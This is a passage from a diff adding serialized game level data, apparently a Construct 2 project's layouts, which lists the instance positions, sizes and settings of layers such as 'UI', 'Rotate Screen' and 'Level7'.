+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "UI",
+ 7,
+ 867895351387618,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -1269,
+ -269,
+ 0,
+ 802,
+ 482,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 356,
+ 2189,
+ [],
+ [
+ [
+ 1,
+ 1,
+ 0,
+ 0,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 60,
+ 417,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.5051546096801758,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 361,
+ 2190,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 189,
+ 417,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.4948453605175018,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 362,
+ 2191,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 740.5921630859375,
+ 416.3991088867188,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.4948453605175018,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 363,
+ 2192,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 414,
+ 24,
+ 0,
+ 118.7730712890625,
+ 35.72848510742188,
+ 0,
+ 0,
+ 1,
+ 0.6097561120986938,
+ 0.5135135054588318,
+ 0,
+ 0,
+ []
+ ],
+ 521,
+ 5630,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 401,
+ 62,
+ 0,
+ 107,
+ 36,
+ 0,
+ 0,
+ 1,
+ 0.5046728849411011,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 326,
+ 5581,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 388,
+ -1,
+ 0,
+ 414,
+ 59,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 355,
+ 5582,
+ [],
+ [],
+ [
+ 128,
+ 128,
+ "1234567890",
+ "0",
+ 0.45,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -30,
+ 0
+ ]
+ ],
+ [
+ [
+ 27,
+ 22,
+ 0,
+ 42.14814376831055,
+ 37.89653015136719,
+ 0,
+ 0,
+ 1,
+ 0.4888888895511627,
+ 0.4210526347160339,
+ 0,
+ 0,
+ []
+ ],
+ 381,
+ 5583,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 119,
+ 25,
+ 0,
+ 39,
+ 39,
+ 0,
+ 0,
+ 1,
+ 0.7179487347602844,
+ 0.5128205418586731,
+ 0,
+ 0,
+ []
+ ],
+ 450,
+ 5584,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 75,
+ 25,
+ 0,
+ 36,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.6388888955116272,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 446,
+ 5585,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 427.5,
+ 244.5,
+ 0,
+ 903,
+ 534,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 357,
+ 2188,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 874,
+ -98,
+ 0,
+ 100,
+ 100,
+ 0,
+ 2.381202459335327,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 538,
+ 5580,
+ [],
+ [],
+ [
+ 50,
+ 80,
+ 0,
+ 300,
+ 16,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0,
+ 0,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 10
+ ]
+ ],
+ [
+ [
+ 401,
+ 442,
+ 0,
+ 228,
+ 61,
+ 0,
+ 0,
+ 1,
+ 0.5043859481811523,
+ 0.5081967115402222,
+ 0,
+ 0,
+ []
+ ],
+ 327,
+ 2249,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Collisionsidle",
+ 8,
+ 725828605717703,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Rotate Screen",
+ 9,
+ 584082819091241,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 400,
+ 240,
+ 0,
+ 800,
+ 480,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 62,
+ 1219,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ]
+ ],
+ [],
+ []
+ ],
+ [
+ "Level7",
+ 5200,
+ 1500,
+ false,
+ "Gameplay1",
+ 960229297700258,
+ [
+ [
+ "fondo",
+ 0,
+ 325257438347758,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.699999988079071,
+ 0.800000011920929,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -91,
+ -392,
+ 0,
+ 10237,
+ 2161,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 306,
+ 2233,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Background5",
+ 1,
+ 793207564349126,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -24,
+ -187,
+ 0,
+ 7497,
+ 573,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 331,
+ 2234,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ -678,
+ 625,
+ 0,
+ 141,
+ 136,
+ 0,
+ 0,
+ 1,
+ 0.5035461187362671,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 349,
+ 2235,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 5224,
+ 744,
+ 0,
+ 40,
+ 1486,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 353,
+ 2236,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -20,
+ 414,
+ 0,
+ 40,
+ 832,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 353,
+ 2237,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Layer 0",
+ 2,
+ 106084892920574,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.05000000074505806,
+ 0.300000011920929,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 250,
+ 103,
+ 0,
+ 250,
+ 250,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 309,
+ 2238,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "fondo2",
+ 3,
+ 217204806721506,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.800000011920929,
+ 0.8500000238418579,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Layer 1",
+ 4,
+ 894605184890330,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 5175,
+ 671,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 2275,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1607,
+ 885,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 2267,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2233,
+ 740,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 2260,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1463,
+ 873,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 2259,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 263,
+ 683,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 2257,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2,
+ 650,
+ 0,
+ 481,
+ 156,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 2241,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 426,
+ 699,
+ 0,
+ 481,
+ 156,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 2242,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1602,
+ 865,
+ 0,
+ 276.3340148925781,
+ 89.62183380126953,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 2243,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3719,
+ 720,
+ 0,
+ 276.3340148925781,
+ 89.62183380126953,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 2244,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1501,
+ 594,
+ 0,
+ 102.9173889160156,
+ 363.4954528808594,
+ 0,
+ 0,
+ 1,
+ 0.5035461187362671,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 413,
+ 2512,
+ [],
+ [
+ [
+ 1,
+ 1,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 80,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1713.7314453125,
+ 591.8189697265625,
+ 0,
+ 102.9173889160156,
+ 363.4954528808594,
+ 0,
+ 0,
+ 1,
+ 0.5035461187362671,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 413,
+ 2513,
+ [],
+ [
+ [
+ 1,
+ 1,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 80,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2047,
+ 354,
+ 0,
+ 44.38152313232422,
+ 21.39823532104492,
+ 0,
+ -0.7823646664619446,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 498,
+ 2516,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3539,
+ 457,
+ 0,
+ 37,
+ 159,
+ 0,
+ 0,
+ 1,
+ 0.5135135054588318,
+ 0.5031446814537048,
+ 0,
+ 0,
+ []
+ ],
+ 493,
+ 2517,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1500,
+ 584,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2518,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1500,
+ 505,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2519,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1501,
+ 427,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2520,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1502,
+ 348,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2521,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1503,
+ 269,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2522,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1503,
+ 190,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2523,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1504,
+ 112,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2524,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1505,
+ 33,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2525,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1711,
+ 584,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2526,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1711,
+ 505,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2527,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1712,
+ 427,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2528,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1713,
+ 348,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2529,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1714,
+ 269,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2530,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1714,
+ 190,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2531,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1715,
+ 112,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2532,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1716,
+ 33,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2533,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3536,
+ 350,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2536,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3536,
+ 271,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2537,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3537,
+ 193,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2538,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3538,
+ 114,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2539,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3539,
+ 35,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2540,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3539,
+ -44,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2541,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3540,
+ -122,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2542,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3541,
+ -201,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2543,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5,
+ 694,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 2256,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 787,
+ 878,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 2258,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2615,
+ 521,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 2261,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3564,
+ 710,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 2263,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4313,
+ 646,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 2264,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5016.55615234375,
+ 684.9112548828125,
+ 0,
+ 365.9125671386719,
+ 182.9562835693359,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 2265,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 531,
+ 1000,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 2250,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 754,
+ 1189,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 2266,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2289,
+ 1020,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 2268,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2767,
+ 484,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 2269,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3579.2841796875,
+ 911.5684814453125,
+ 0,
+ 257.5815734863281,
+ 281.3865356445313,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 2270,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4709,
+ 669,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 2274,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 581,
+ 793,
+ 0,
+ 184,
+ 173,
+ 0,
+ 0,
+ 1,
+ 0.532608687877655,
+ 0.9768785834312439,
+ 0,
+ 0,
+ []
+ ],
+ 535,
+ 2510,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2142,
+ 850,
+ 0,
+ 184,
+ 173,
+ 0,
+ 0,
+ 1,
+ 0.532608687877655,
+ 0.9768785834312439,
+ 0,
+ 0,
+ []
+ ],
+ 535,
+ 2511,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2599,
+ 615,
+ 0,
+ 184,
+ 173,
+ 0,
+ 0,
+ 1,
+ 0.532608687877655,
+ 0.9768785834312439,
+ 0,
+ 0,
+ []
+ ],
+ 535,
+ 5587,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3812,
+ 827,
+ 0,
+ 184,
+ 173,
+ 0,
+ 0,
+ 1,
+ 0.532608687877655,
+ 0.9768785834312439,
+ 0,
+ 0,
+ []
+ ],
+ 535,
+ 5588,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4342,
+ 696,
+ 0,
+ 184,
+ 173,
+ 0,
+ 0,
+ 1,
+ 0.532608687877655,
+ 0.9768785834312439,
+ 0,
+ 0,
+ []
+ ],
+ 535,
+ 5589,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4633,
+ 731,
+ 0,
+ 184,
+ 173,
+ 0,
+ 0,
+ 1,
+ 0.532608687877655,
+ 0.9768785834312439,
+ 0,
+ 0,
+ []
+ ],
+ 535,
+ 5590,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5154,
+ 718,
+ 0,
+ 184,
+ 173,
+ 0,
+ 0,
+ 1,
+ 0.532608687877655,
+ 0.9768785834312439,
+ 0,
+ 0,
+ []
+ ],
+ 535,
+ 5591,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3199,
+ 1014,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 5847,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2771,
+ 1057,
+ 0,
+ 422,
+ 211,
+ 0,
